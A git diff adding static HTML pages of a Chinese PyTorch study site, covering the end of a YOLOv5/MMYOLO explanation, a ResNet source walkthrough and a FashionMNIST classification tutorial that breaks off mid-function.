分类预测分支和 obj 分支需要进行 sigmoid 计算,而 bbox 预测分支需要进行解码,还原为真实的原图解码后 xyxy 格式

+

(3) 第一次阈值过滤

+

遍历 batch 中的每张图,然后用 score_thr 对类别预测分值进行阈值过滤,去掉低于 score_thr 的预测结果

+

(4) 第二次阈值过滤

+

将 obj 预测分值和过滤后的类别预测分值相乘,然后依然采用 score_thr 进行阈值过滤。 +在这过程中还需要考虑 multi_label 和 nms_pre,确保过滤后的检测框数目不会多于 nms_pre。

+

(5) 还原到原图尺度和 nms

+

基于前处理过程,将剩下的检测框还原到网络输出前的原图尺度,然后进行 nms 即可。最终输出的检测框不能多于 max_per_img。

+

1.6.2 batch shape 策略​

+

为了加速验证集的推理过程,作者提出了 batch shape 策略,其核心原则是:确保在 batch 推理过程中同一个 batch 内的图片 pad 像素最少,不要求整个验证过程中所有 batch 的图片尺度一样。

+

其大概流程是:将整个测试或者验证数据的宽高比进行排序,然后依据 batch 设置将排序后的图片组成一个 batch, +同时计算这个 batch 内最佳的 batch shape,防止 pad 像素过多。最佳 batch shape 计算原则为在保持宽高比的情况下进行 pad,不追求正方形图片输出。

+
        image_shapes = []
for data_info in data_list:
image_shapes.append((data_info['width'], data_info['height']))

image_shapes = np.array(image_shapes, dtype=np.float64)

n = len(image_shapes) # number of images
batch_index = np.floor(np.arange(n) / self.batch_size).astype(
np.int) # batch index
number_of_batches = batch_index[-1] + 1 # number of batches

aspect_ratio = image_shapes[:, 1] / image_shapes[:, 0] # aspect ratio
irect = aspect_ratio.argsort()

data_list = [data_list[i] for i in irect]

aspect_ratio = aspect_ratio[irect]
# Set training image shapes
shapes = [[1, 1]] * number_of_batches
for i in range(number_of_batches):
aspect_ratio_index = aspect_ratio[batch_index == i]
min_index, max_index = aspect_ratio_index.min(
), aspect_ratio_index.max()
if max_index < 1:
shapes[i] = [max_index, 1]
elif min_index > 1:
shapes[i] = [1, 1 / min_index]

batch_shapes = np.ceil(
np.array(shapes) * self.img_size / self.size_divisor +
self.pad).astype(np.int) * self.size_divisor

for i, data_info in enumerate(data_list):
data_info['batch_shape'] = batch_shapes[batch_index[i]]
+

2 总结​

+

本文对 YOLOv5 原理和在 MMYOLO 实现进行了详细解析,希望能帮助用户理解算法实现过程。同时请注意:由于 YOLOv5 本身也在不断更新,本开源库也会不断迭代,请及时阅读和同步最新版本。

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/torch实现/index.html b/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/torch实现/index.html new file mode 100644 index 0000000..5661874 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第十章/YOLO系列解读/torch实现/index.html @@ -0,0 +1,45 @@ + + + + + +torch实现 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第十章/index.html b/docs/个人知识库/AI/PyTorch/第十章/index.html new file mode 100644 index 0000000..4c599ee --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第十章/index.html @@ -0,0 +1,46 @@ + + + + + +第十章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第四章/4.1 ResNet/index.html b/docs/个人知识库/AI/PyTorch/第四章/4.1 ResNet/index.html new file mode 100644 index 0000000..6df8e03 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第四章/4.1 ResNet/index.html @@ -0,0 +1,142 @@ + + + + + +4.1 ResNet.md | wjlin0 + + + + + + + +

4.1 ResNet.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:17
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

4.1 ResNet

+

残差神经网络(ResNet)是由微软研究院的何恺明、张祥雨、任少卿、孙剑等人提出的。它的主要贡献是发现了在增加网络层数的过程中,随着训练精度(Training accuracy)逐渐趋于饱和,继续增加层数,training accuracy 就会出现下降的现象,而这种下降不是由过拟合造成的。他们将这一现象称之为“退化现象(Degradation)”,并针对退化现象发明了 “快捷连接(Shortcut connection)”,极大的消除了深度过大的神经网络训练困难问题。神经网络的“深度”首次突破了100层、最大的神经网络甚至超过了1000层。(在此,向已故的孙剑博士表示崇高的敬意)

+

通过本文你将学习到:

+
    +
  • +

    梯度消失/爆炸的简介

    +
  • +
  • +

    代码里面为什么要设计BasicBlock和Bottleneck两种结构

    +
  • +
  • +

    代码里面的expansion作用

    +
  • +
+

1 基本介绍​

+

随着卷积神经网络的出现,人们发现多层卷积或者全连接网络的效果大于单层卷积或者全连接网络。于是很多人潜意识认为网络的层数越多,其效果就会越好。但是当时微软研究院的何恺明、张祥雨、任少卿、孙剑等人发现加深网络的深度后,整个网络的效果反而变差了许多。他们认为很深的网络无法训练的原因可能是网络在信息传递的时候或多或少会存在信息丢失,损耗等问题,同时还可能出现梯度消失或者梯度爆炸现象。针对这个问题,他们提出了ResNet以期望解决这个问题,ResNet的出现也让神经网络逐渐真正走向深度神经网络。ResNet最大的贡献在于添加了shortcut connection将输入直接连接到后面的层,一定程度缓解了梯度消失和梯度爆炸并提高了深度神经网络的效果。接下来我们详细的解释一下梯度消失和梯度爆炸。

+

梯度消失和梯度爆炸的根源主要是因为深度神经网络结构以及反向传播算法,目前优化神经网络的方法都是基于反向传播的思想,即根据损失函数计算的误差通过反向传播的方式,指导深度网络权值的更新。误差梯度是神经网络训练过程中计算的方向和数量,用于以正确的方向和合适的量更新网络权重。 在深层网络或循环神经网络中,误差梯度可在更新中累积,变成非常大的梯度,然后导致网络权重的大幅更新,并因此使网络变得不稳定。在极端情况下,权重的值变得非常大,以至于溢出,导致 NaN 值。 网络层之间的梯度(值大于 1.0)重复相乘导致的指数级增长会产生梯度爆炸。 在深度多层感知机网络中,梯度爆炸会引起网络不稳定,最好的结果是无法从训练数据中学习,而最坏的结果是出现无法再更新的 NaN 权重值。

+

而在某些情况下,梯度会变得非常小, 网络层之间的梯度(值小于 1.0)重复相乘导致的指数级变小会产生梯度消失。在最坏的情况下,这可能会完全停止神经网络的进一步训练。例如,传统的激活函数(如双曲正切函数)具有范围(0,1)内的梯度,反向传播通过链式法则计算梯度。这样做的效果是,用这些小数字的n乘以n来计算n层网络中“前端”层的梯度,这意味着梯度(误差信号)随n呈指数递减,而前端层的训练非常缓慢。最终导致更新停滞。

+

2 源码解读​

+

为了帮助大家对ResNet有更好的理解,我们使用torchvision的ResNet源码进行解读。

+

2.1 卷积核的封装​

+

在代码的开始,首先封装了3x3和1x1的卷积核,这样可以增加代码的可读性。除了这种代码写法外,还有许多深度学习代码在开始也会将卷积层,激活函数层和BN层封装在一起,同样是为了增加代码的可读性。

+
def conv3x3(in_planes: int, out_planes: int, stride: int = 1, groups: int = 1, dilation: int = 1) -> nn.Conv2d:
"""3x3 convolution with padding"""
return nn.Conv2d(
in_planes,
out_planes,
kernel_size=3,
stride=stride,
padding=dilation,
groups=groups,
bias=False,
dilation=dilation,
)


def conv1x1(in_planes: int, out_planes: int, stride: int = 1) -> nn.Conv2d:
"""1x1 convolution"""
return nn.Conv2d(in_planes, out_planes, kernel_size=1, stride=stride, bias=False)
+

2.2 基本模块的设计​

+

ResNet网络是由很多相同的模块堆叠起来的,为了保证代码具有可读性和可扩展性,ResNet在设计时采用了模块化设计,针对不同大小的ResNet,书写了BasicBlock和BottleNeck两个基本模块。这种模块化的设计在现在许多常见的深度学习代码中我们可以经常看到。

+

ResNet常见的大小有下图的ResNet-18,ResNet-34,ResNet-50、ResNet-101和ResNet-152,其中网络后面的数字代表的是网络的层数。

+

expansion

+

为了帮助大家更好的理解,我们以ResNet101为例。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
layer_name次数
conv1卷积1次
conv2_x卷积3 x 3 = 9次
conv3_x卷积4 x 3 = 12次
conv4_x卷积23 x 3 = 69次
conv5_x卷积3 x 3 = 9次
fcaverage pool 1次
合计1 + 9 + 12 + 69 + 9 + 1 = 101次
+

观察上面各个ResNet的模块,我们可以发现ResNet-18和ResNet-34每一层内,数据的大小不会发生变化,但是ResNet-50、ResNet-101和ResNet-152中的每一层内输入和输出的channel数目不一样,输出的channel扩大为输入channel的4倍,除此之外,每一层的卷积的大小也变换为1,3,1的结构。基于这个发现,我们可以将ResNet-18和ResNet-34的构成模块当作一类,ResNet-50、ResNet-101和ResNet-152这三类网络的构成模块当作一类。事实上,torchvision的源码也是基于这种设计思想,使用如下图的BasicBlock(左)和BottleNeck(右)模块,并且为了控制输入和输出的通道数目的变化,在代码中输出的通道维度也通过expansion进行控制,两个block类输入一个通道为in_planes维的度特征图,输出一个planes*block.expansion维的特征图,其中planes的数目大小等于in_planes。除此以外,代码右侧的曲线就是本文最重要的shortcut支路,该支路上的downsample操作是为了对shortcut支路进行大小或维度上的调整,以希望执行相加操作

+

block

+

2.2.1 Shortcut Connection.​

+

这里再分析一下shortcut connection:

+

shortcut

+

shortcut connection也就是所谓的“抄近道”,它有两种方式,其一为同等维度的映射,即输入输出直接相加(即上图中的F(x) + x),另一种为不同维度的映射,这时候就需要给x补充一个线性映射来匹配维度。

+

比如下面这个图:

+ +

左:VGG-19模型,作为参考。 中:一个有34个参数层的普通网络。 右:一个有34个参数层的残差网络(即resnet34)

+

在上图最右侧的路径中,我们可以很明显的看到shortcut connection加入了网络之中,同时,图中也很明显的可以看到,实线部分就是进行了单纯的F(x)+x操作,而虚线部分,第一个卷积层的stride是2(那个/2的意思就是stride是2);同时注意到深度也发生了变换,channel数目增加一倍(扩大两倍),这样F(x)的分辨率比x小一半,厚度比x大一倍。在这样的shortcut connection中,就需要补充线性映射来增加维度。在ResNet中,作者使用了1 x 1的卷积核来达到这个目的。

+

另外,论文中又提到说:“……where both designs have similar time complexity.” 既然BasicBlock和Bottleneck二者的时间复杂度类似,那么为什么还要额外设计一个Bottleneck结构呢?

+

根据前面的叙述我们知道,BasicBlock结构比传统的卷积结构多了一个shortcut支路,用于传递低层的信息,使得网络能够训练地很深。而BottleNeck先通过一个1x1的卷积减少通道数,使得中间卷积的通道数减少为1/4;中间的普通卷积做完卷积后输出通道数等于输入通道数;第三个卷积用于恢复通道数,使得BottleNeck的输出通道数等于BottleNeck的输入通道数。**换句话说,这两个1x1卷积有效地减少了卷积的参数个数和计算量,同时减少了中间特征图的通道数,使单个Block消耗的显存更少,在较深的网络中BottleNeck会在参数上更加节约,这样可以有利于构建层数更多的网络,同时还能保持性能的提升。**所以resnet50, resnet101和resnet152使用了另外设计的BottleNeck结构。

+

2.2.2 BasicBlock​

+

BasicBlock模块用来构建resnet18和resnet34

+
class BasicBlock(nn.Module):
expansion: int = 1

def __init__(
self,
inplanes: int,
planes: int,
stride: int = 1,
downsample: Optional[nn.Module] = None,
groups: int = 1,
base_width: int = 64,
dilation: int = 1,
norm_layer: Optional[Callable[..., nn.Module]] = None,
) -> None:
super().__init__()
if norm_layer is None:
norm_layer = nn.BatchNorm2d
if groups != 1 or base_width != 64:
raise ValueError("BasicBlock only supports groups=1 and base_width=64")
if dilation > 1:
raise NotImplementedError("Dilation > 1 not supported in BasicBlock")
# Both self.conv1 and self.downsample layers downsample the input when stride != 1
self.conv1 = conv3x3(inplanes, planes, stride)
self.bn1 = norm_layer(planes)
self.relu = nn.ReLU(inplace=True)
self.conv2 = conv3x3(planes, planes)
self.bn2 = norm_layer(planes)
self.downsample = downsample
self.stride = stride

def forward(self, x: Tensor) -> Tensor:
identity = x # x 给自己先备份一份

out = self.conv1(x) # 对x做卷积
out = self.bn1(out) # 对x归一化
out = self.relu(out) # 对x用激活函数

out = self.conv2(out) # 对x做卷积
out = self.bn2(out) # 归一化

if self.downsample is not None:
identity = self.downsample(x)

out += identity # 进行downsample
out = self.relu(out)

return out
+

2.2.3 BottleNeck​

+

BottleNeck模块用来构建resnet50,resnet101和resnet152

+
class Bottleneck(nn.Module):
# Bottleneck in torchvision places the stride for downsampling at 3x3 convolution(self.conv2)
# while original implementation places the stride at the first 1x1 convolution(self.conv1)
# according to "Deep residual learning for image recognition"https://arxiv.org/abs/1512.03385.
# This variant is also known as ResNet V1.5 and improves accuracy according to
# https://ngc.nvidia.com/catalog/model-scripts/nvidia:resnet_50_v1_5_for_pytorch.

expansion: int = 4 # 对输出通道进行倍增

def __init__(
self,
inplanes: int,
planes: int,
stride: int = 1,
downsample: Optional[nn.Module] = None,
groups: int = 1,
base_width: int = 64,
dilation: int = 1,
norm_layer: Optional[Callable[..., nn.Module]] = None,
) -> None:
super().__init__()
if norm_layer is None:
norm_layer = nn.BatchNorm2d
width = int(planes * (base_width / 64.0)) * groups
# Both self.conv2 and self.downsample layers downsample the input when stride != 1
self.conv1 = conv1x1(inplanes, width)
self.bn1 = norm_layer(width)
self.conv2 = conv3x3(width, width, stride, groups, dilation)
self.bn2 = norm_layer(width)
self.conv3 = conv1x1(width, planes * self.expansion)
self.bn3 = norm_layer(planes * self.expansion)
self.relu = nn.ReLU(inplace=True)
self.downsample = downsample
self.stride = stride

# Bottleneckd forward函数和BasicBlock类似,不再额外注释
def forward(self, x: Tensor) -> Tensor:
identity = x

out = self.conv1(x)
out = self.bn1(out)
out = self.relu(out)

out = self.conv2(out)
out = self.bn2(out)
out = self.relu(out)

out = self.conv3(out)
out = self.bn3(out)

if self.downsample is not None:
identity = self.downsample(x)

out += identity
out = self.relu(out)

return out
+

我们在这里再对代码中expansion的作用做一个说明,我们可以重新回顾一下下面这张图。

+

+

expansion简单来说就是对输出通道的倍乘。在BasicBlock和BottleNeck中,“__init__”函数中有三个比较关键的参数:inplanes,planes和stride,这三者分别表示输入的通道数,输出的通道数和步幅。在两个模块中,__init__传入的planes都是64,128,156,512,但我们观察上面的表格,会发现对于ResNet-50,ResNet-101和ResNet-152而言,它们需要的输出通道应该为256,512,1024,2048才对。因此在这里设置expansion=4,对应上面BottleNeck代码中的30行和31行,将每一个planes都乘上这个expansion,就得到了需要的通道数;而对于ResNet-18和ResNet-34而言,输入通道和输出通道的维度上没有发生变化,因此expansion也设置为1。

+

2.3 网络整体结构​

+

在定义好最基本的Bottlenneck和BasicBlock后,我们就可以构建ResNet网络了。

+
class ResNet(nn.Module):
def __init__(
self,
block: Type[Union[BasicBlock, Bottleneck]], # 选择基本模块
layers: List[int], # 每一层block的数目构成 -> [3,4,6,3]
num_classes: int = 1000, # 分类数目
zero_init_residual: bool = False, # 初始化

#######其他卷积构成,与本文ResNet无关######
groups: int = 1,
width_per_group: int = 64,
replace_stride_with_dilation: Optional[List[bool]] = None,
#########################################

norm_layer: Optional[Callable[..., nn.Module]] = None, # norm层
) -> None:
super().__init__()
_log_api_usage_once(self)
if norm_layer is None:
norm_layer = nn.BatchNorm2d
self._norm_layer = norm_layer

self.inplanes = 64 # 输入通道

#######其他卷积构成,与本文ResNet无关######
self.dilation = 1 # 空洞卷积
if replace_stride_with_dilation is None:
# each element in the tuple indicates if we should replace
# the 2x2 stride with a dilated convolution instead
replace_stride_with_dilation = [False, False, False]
if len(replace_stride_with_dilation) != 3:
raise ValueError(
"replace_stride_with_dilation should be None "
f"or a 3-element tuple, got {replace_stride_with_dilation}"
)
self.groups = groups
self.base_width = width_per_group
#########################################

self.conv1 = nn.Conv2d(3, self.inplanes, kernel_size=7, stride=2, padding=3, bias=False)
self.bn1 = norm_layer(self.inplanes)
self.relu = nn.ReLU(inplace=True)
self.maxpool = nn.MaxPool2d(kernel_size=3, stride=2, padding=1)
# 通过_make_layer带到层次化设计的效果
self.layer1 = self._make_layer(block, 64, layers[0]) # 对应着conv2_x
self.layer2 = self._make_layer(block, 128, layers[1], stride=2, dilate=replace_stride_with_dilation[0]) # 对应着conv3_x
self.layer3 = self._make_layer(block, 256, layers[2], stride=2, dilate=replace_stride_with_dilation[1]) # 对应着conv4_x
self.layer4 = self._make_layer(block, 512, layers[3], stride=2, dilate=replace_stride_with_dilation[2]) # 对应着conv5_x
# 分类头
self.avgpool = nn.AdaptiveAvgPool2d((1, 1))
self.fc = nn.Linear(512 * block.expansion, num_classes)

# 模型初始化
for m in self.modules():
if isinstance(m, nn.Conv2d):
nn.init.kaiming_normal_(m.weight, mode="fan_out", nonlinearity="relu")
elif isinstance(m, (nn.BatchNorm2d, nn.GroupNorm)):
nn.init.constant_(m.weight, 1)
nn.init.constant_(m.bias, 0)

# Zero-initialize the last BN in each residual branch,
# so that the residual branch starts with zeros, and each residual block behaves like an identity.
# This improves the model by 0.2~0.3% according to https://arxiv.org/abs/1706.02677
if zero_init_residual:
for m in self.modules():
if isinstance(m, Bottleneck) and m.bn3.weight is not None:
nn.init.constant_(m.bn3.weight, 0) # type: ignore[arg-type]
elif isinstance(m, BasicBlock) and m.bn2.weight is not None:
nn.init.constant_(m.bn2.weight, 0) # type: ignore[arg-type]
# 层次化设计
def _make_layer(
self,
block: Type[Union[BasicBlock, Bottleneck]], # 基本构成模块选择
planes: int, # 输入的通道
blocks: int, # 模块数目
stride: int = 1, # 步长
dilate: bool = False, # 空洞卷积,与本文无关
) -> nn.Sequential:
norm_layer = self._norm_layer
downsample = None # 是否采用下采样
####################无关#####################
previous_dilation = self.dilation
if dilate:
self.dilation *= stride
stride = 1
#############################################
if stride != 1 or self.inplanes != planes * block.expansion:
downsample = nn.Sequential(
conv1x1(self.inplanes, planes * block.expansion, stride),
norm_layer(planes * block.expansion),
)

# 使用layers存储每个layer
layers = []
layers.append(
block(
self.inplanes, planes, stride, downsample, self.groups, self.base_width, previous_dilation, norm_layer
)
)
self.inplanes = planes * block.expansion
for _ in range(1, blocks):
layers.append(
block(
self.inplanes,
planes,
groups=self.groups,
base_width=self.base_width,
dilation=self.dilation,
norm_layer=norm_layer,
)
)
# 将layers通过nn.Sequential转化为网络
return nn.Sequential(*layers)

def _forward_impl(self, x: Tensor) -> Tensor:
# See note [TorchScript super()]
x = self.conv1(x) # conv1 x shape [1 64 112 112]
x = self.bn1(x) # 归一化处理
x = self.relu(x) # 激活函数
x = self.maxpool(x) # conv2_x的3x3 maxpool x shape [1 64 56 56]

x = self.layer1(x) # layer 1
x = self.layer2(x) # layer 2
x = self.layer3(x) # layer 3
x = self.layer4(x) # layer 4

x = self.avgpool(x) # 自适应池化
x = torch.flatten(x, 1)
x = self.fc(x) # 分类

return x

def forward(self, x: Tensor) -> Tensor:
return self._forward_impl(x)
+

观察上述代码,我们不难看到,首先是一个7 x 7的卷积作用在输入的3维图片上,并输入一个64维的特征图(即self.inplanes的初始值),通过BatchNorm层,ReLU层,MaxPool层;然后经过_make_layer()函数构建的4层layer,最后经过一个AveragePooling层,再经过一个fc层得到分类输出。在网络搭建起来后,还对模型的参数(Conv2d、BatchNorm2d、last BN)进行了初始化。

+

而对于_make_layer函数,一个_make_layer()构建一个layer层,每一个layer层是上述两种基本模块的堆叠。输入参数中block代表该layer堆叠模块的类型,可选BasicBlock或者BottleNeck;blocks代表该layer中堆叠的block的数目;planes与该layer最终输出的维度数有关,注意最终输出的维度数为planes * block.expansion。除此之外, _make_layer()是用来生成残差块的,这就牵扯到它的第四个参数:stride,即卷积步幅。该函数中首先定义了如果stride不等于1或者维度不匹配(即输入通道不满足对应关系)的时候的downsample,然后对其进行一次BN操作。接着对inplanes和planes不一致的情况进行了一次downsample ,即将带downsample的block添加至layers。这样保证了x和out的维度一致,接下来通过一个循环添加了指定个数的Block,由于x已经维度一致了,这样添加的其他的Block就可以不用降维了,所以循环添加不含Downsample的Block。正如下面代码所示

+
if stride != 1 or self.inplanes != planes * block.expansion:
downsample = nn.Sequential(
conv1x1(self.inplanes, planes * block.expansion, stride),
norm_layer(planes * block.expansion),
)
+

当一个layer包含多个block时,是通过向layers列表中依次加入每个block,来实现block的堆叠的。第一个block需要特殊处理,该block依据传入的self.inplanes, planes以及stride判断,可能含有downsample支路;这个block的输出维度是planes*block.expansion。紧接着便把self.inplanes更新为此值作为后续block的输入维度。后面的block的stride为默认值1,同时,由于输入为self.inplanes,输出为planes*block.expansion,而self.inplanes = planes * block.expansion,因此不会出现特征图大小或者尺寸不一致的情况,不可能出现downsample操作。

+

3 总结​

+

与普通的网络相比,ResNet最大的优势就是引入了Shortcut这个支路,让某一层可以直接连接到后面的层,使得后面的层可以直接学习残差。传统的卷积层或全连接层在信息传递时,或多或少会存在信息丢失、损耗等问题。ResNet 在某种程度上解决了这个问题,通过直接将输入信息绕道传到输出,保护信息的完整性,整个网络则只需要学习输入、输出差别的那一部分,简化学习目标和难度。

+

ResNet的出现,在一定程度上解决了卷积神经网络随深度的增加,但是模型效果却变差的问题,用作者的话说,就是: “Our deep residual nets can easily enjoy accuracy gains from greatly increased depth, producing results substantially better than previous networks.”。原始的ResNet对于训练卷积神经网路做出了很大的贡献,但是同样也有着许多可以改进的地方。随着时代的发展,原版的ResNet在一次又一次的研究中得到了丰富和完善,衍生出了丰富的改进的模型,如ResNeXt。它提出了一种介于普通卷积核深度可分离卷积的这种策略:分组卷积。通过控制分组的数量(基数)来达到两种策略的平衡。分组卷积的思想是源自Inception,不同于Inception的需要人工设计每个分支,ResNeXt的每个分支的拓扑结构是相同的。最后再结合残差网络,得到的便是最终的ResNeXt。

+

除此之外,ResNet还有其它变体如Wider ResNet,DarkNet53等。它们的改进相对较大,尤其是DarkNet53,它和ResNet已经有很大不同了,只是使用到了残差连接从而复用特征而已。总而言之,ResNet是深度学习领域一个里程碑式的工作。。

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第四章/4.2 GoogleNet/index.html b/docs/个人知识库/AI/PyTorch/第四章/4.2 GoogleNet/index.html new file mode 100644 index 0000000..76588e8 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第四章/4.2 GoogleNet/index.html @@ -0,0 +1,44 @@ + + + + + +4.2 GoogleNet.md | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第四章/4.3 DenseNet/index.html b/docs/个人知识库/AI/PyTorch/第四章/4.3 DenseNet/index.html new file mode 100644 index 0000000..543e556 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第四章/4.3 DenseNet/index.html @@ -0,0 +1,44 @@ + + + + + +4.3 DenseNet.md | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第四章/4.4 FashionMNIST图像分类/index.html b/docs/个人知识库/AI/PyTorch/第四章/4.4 FashionMNIST图像分类/index.html new file mode 100644 index 0000000..d09bdc4 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第四章/4.4 FashionMNIST图像分类/index.html @@ -0,0 +1,136 @@ + + + + + +4.4 FashionMNIST图像分类.md | wjlin0 + + + + + + + +

4.4 FashionMNIST图像分类.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:17
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

基础实战——FashionMNIST时装分类

+

+

经过前面三章内容的学习,我们完成了以下的内容:

+
    +
  • 对PyTorch有了初步的认识
  • +
  • 学会了如何安装PyTorch以及对应的编程环境
  • +
  • 学习了PyTorch最核心的理论基础(张量&自动求导)
  • +
  • 梳理了利用PyTorch完成深度学习的主要步骤和对应实现方式
  • +
+

现在,我们通过一个基础实战案例,将第一部分所涉及的PyTorch入门知识串起来,便于大家加深理解。同时为后续的进阶学习打好基础。

+

经过本节的学习,你将收获:

+
    +
  • 一个完整的深度学习流程
  • +
  • 各个组件的实际使用方法
  • +
+

我们这里的任务是对10个类别的“时装”图像进行分类,使用FashionMNIST数据集。 +上图给出了FashionMNIST中数据的若干样例图,其中每个小图对应一个样本。
+FashionMNIST数据集中包含已经预先划分好的训练集和测试集,其中训练集共60,000张图像,测试集共10,000张图像。每张图像均为单通道黑白图像,大小为28*28pixel,分属10个类别。

+

下面让我们一起将第三章各部分内容逐步实现,来跑完整个深度学习流程。

+

首先导入必要的包

+
import os
import numpy as np
import pandas as pd
import torch
import torch.nn as nn
import torch.optim as optim
from torch.utils.data import Dataset, DataLoader
+

配置训练环境和超参数

+
# 配置GPU,这里有两种方式
## 方案一:使用os.environ
os.environ['CUDA_VISIBLE_DEVICES'] = '0'
# 方案二:使用“device”,后续对要使用GPU的变量用.to(device)即可
device = torch.device("cuda:1" if torch.cuda.is_available() else "cpu")

## 配置其他超参数,如batch_size, num_workers, learning rate, 以及总的epochs
batch_size = 256
num_workers = 4 # 对于Windows用户,这里应设置为0,否则会出现多线程错误
lr = 1e-4
epochs = 20
+

数据读入和加载
+这里同时展示两种方式:

+
    +
  • 下载并使用PyTorch提供的内置数据集
  • +
  • 从网站下载以csv格式存储的数据,读入并转成预期的格式
    +第一种数据读入方式只适用于常见的数据集,如MNIST,CIFAR10等,PyTorch官方提供了数据下载。这种方式往往适用于快速测试方法(比如测试下某个idea在MNIST数据集上是否有效)
    +第二种数据读入方式需要自己构建Dataset,这对于PyTorch应用于自己的工作中十分重要
  • +
+

同时,还需要对数据进行必要的变换,比如说需要将图片统一为一致的大小,以便后续能够输入网络训练;需要将数据格式转为Tensor类,等等。

+

这些变换可以很方便地借助torchvision包来完成,这是PyTorch官方用于图像处理的工具库,上面提到的使用内置数据集的方式也要用到。PyTorch的一大方便之处就在于它是一整套“生态”,有着官方和第三方各个领域的支持。这些内容我们会在后续课程中详细介绍。

+
# 首先设置数据变换
from torchvision import transforms

image_size = 28
data_transform = transforms.Compose([
transforms.ToPILImage(),
# 这一步取决于后续的数据读取方式,如果使用内置数据集读取方式则不需要
transforms.Resize(image_size),
transforms.ToTensor()
])
+
## 读取方式一:使用torchvision自带数据集,下载可能需要一段时间
from torchvision import datasets

train_data = datasets.FashionMNIST(root='./', train=True, download=True, transform=data_transform)
test_data = datasets.FashionMNIST(root='./', train=False, download=True, transform=data_transform)
+
/data1/ljq/anaconda3/envs/smp/lib/python3.8/site-packages/torchvision/datasets/mnist.py:498: UserWarning: The given NumPy array is not writeable, and PyTorch does not support non-writeable tensors. This means you can write to the underlying (supposedly non-writeable) NumPy array using the tensor. You may want to copy the array to protect its data or make it writeable before converting it to a tensor. This type of warning will be suppressed for the rest of this program. (Triggered internally at  /opt/conda/conda-bld/pytorch_1623448234945/work/torch/csrc/utils/tensor_numpy.cpp:180.)
return torch.from_numpy(parsed.astype(m[2], copy=False)).view(*s)
+
## 读取方式二:读入csv格式的数据,自行构建Dataset类
# csv数据下载链接:https://www.kaggle.com/zalando-research/fashionmnist
class FMDataset(Dataset):
def __init__(self, df, transform=None):
self.df = df
self.transform = transform
self.images = df.iloc[:,1:].values.astype(np.uint8)
self.labels = df.iloc[:, 0].values

def __len__(self):
return len(self.images)

def __getitem__(self, idx):
image = self.images[idx].reshape(28,28,1)
label = int(self.labels[idx])
if self.transform is not None:
image = self.transform(image)
else:
image = torch.tensor(image/255., dtype=torch.float)
label = torch.tensor(label, dtype=torch.long)
return image, label

train_df = pd.read_csv("./FashionMNIST/fashion-mnist_train.csv")
test_df = pd.read_csv("./FashionMNIST/fashion-mnist_test.csv")
train_data = FMDataset(train_df, data_transform)
test_data = FMDataset(test_df, data_transform)
+

在构建训练和测试数据集完成后,需要定义DataLoader类,以便在训练和测试时加载数据

+
train_loader = DataLoader(train_data, batch_size=batch_size, shuffle=True, num_workers=num_workers, drop_last=True)
test_loader = DataLoader(test_data, batch_size=batch_size, shuffle=False, num_workers=num_workers)
+

读入后,我们可以做一些数据可视化操作,主要是验证我们读入的数据是否正确

+
import matplotlib.pyplot as plt
image, label = next(iter(train_loader))
print(image.shape, label.shape)
plt.imshow(image[0][0], cmap="gray")
+
torch.Size([256, 1, 28, 28]) 
torch.Size([256])
<matplotlib.image.AxesImage at 0x7f19a043cc10>




+

png

+

模型设计
+由于任务较为简单,这里我们手搭一个CNN,而不考虑当下各种模型的复杂结构,模型构建完成后,将模型放到GPU上用于训练。

+
class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.conv = nn.Sequential(
nn.Conv2d(1, 32, 5),
nn.ReLU(),
nn.MaxPool2d(2, stride=2),
nn.Dropout(0.3),
nn.Conv2d(32, 64, 5),
nn.ReLU(),
nn.MaxPool2d(2, stride=2),
nn.Dropout(0.3)
)
self.fc = nn.Sequential(
nn.Linear(64*4*4, 512),
nn.ReLU(),
nn.Linear(512, 10)
)

def forward(self, x):
x = self.conv(x)
x = x.view(-1, 64*4*4)
x = self.fc(x)
# x = nn.functional.normalize(x)
return x

model = Net()
model = model.cuda()
# model = nn.DataParallel(model).cuda() # 多卡训练时的写法,之后的课程中会进一步讲解
+

设定损失函数
+使用torch.nn模块自带的CrossEntropy损失
+PyTorch会自动把整数型的label转为one-hot型,用于计算CE loss
+这里需要确保label是从0开始的,同时模型不加softmax层(使用logits计算),这也说明了PyTorch训练中各个部分不是独立的,需要通盘考虑

+
criterion = nn.CrossEntropyLoss()
# criterion = nn.CrossEntropyLoss(weight=[1,1,1,1,3,1,1,1,1,1])
+
?nn.CrossEntropyLoss # 这里方便看一下weighting等策略
+

设定优化器
+这里我们使用Adam优化器

+
optimizer = optim.Adam(model.parameters(), lr=0.001)
+

训练和测试(验证)
+各自封装成函数,方便后续调用
+关注两者的主要区别:

+
    +
  • 模型状态设置
  • +
  • 是否需要初始化优化器
  • +
  • 是否需要将loss传回到网络
  • +
  • 是否需要每步更新optimizer
  • +
+

此外,对于测试或验证过程,可以计算分类准确率

+
def train(epoch):
model.train()
train_loss = 0
for data, label in train_loader:
data, label = data.cuda(), label.cuda()
optimizer.zero_grad()
output = model(data)
loss = criterion(output, label)
loss.backward()
optimizer.step()
train_loss += loss.item()*data.size(0)
train_loss = train_loss/len(train_loader.dataset)
print('Epoch: {} \tTraining Loss: {:.6f}'.format(epoch, train_loss))
+
def val(epoch):       
model.eval()
val_loss = 0
gt_labels = []
pred_labels = []
with torch.no_grad():
for data, label in test_loader:
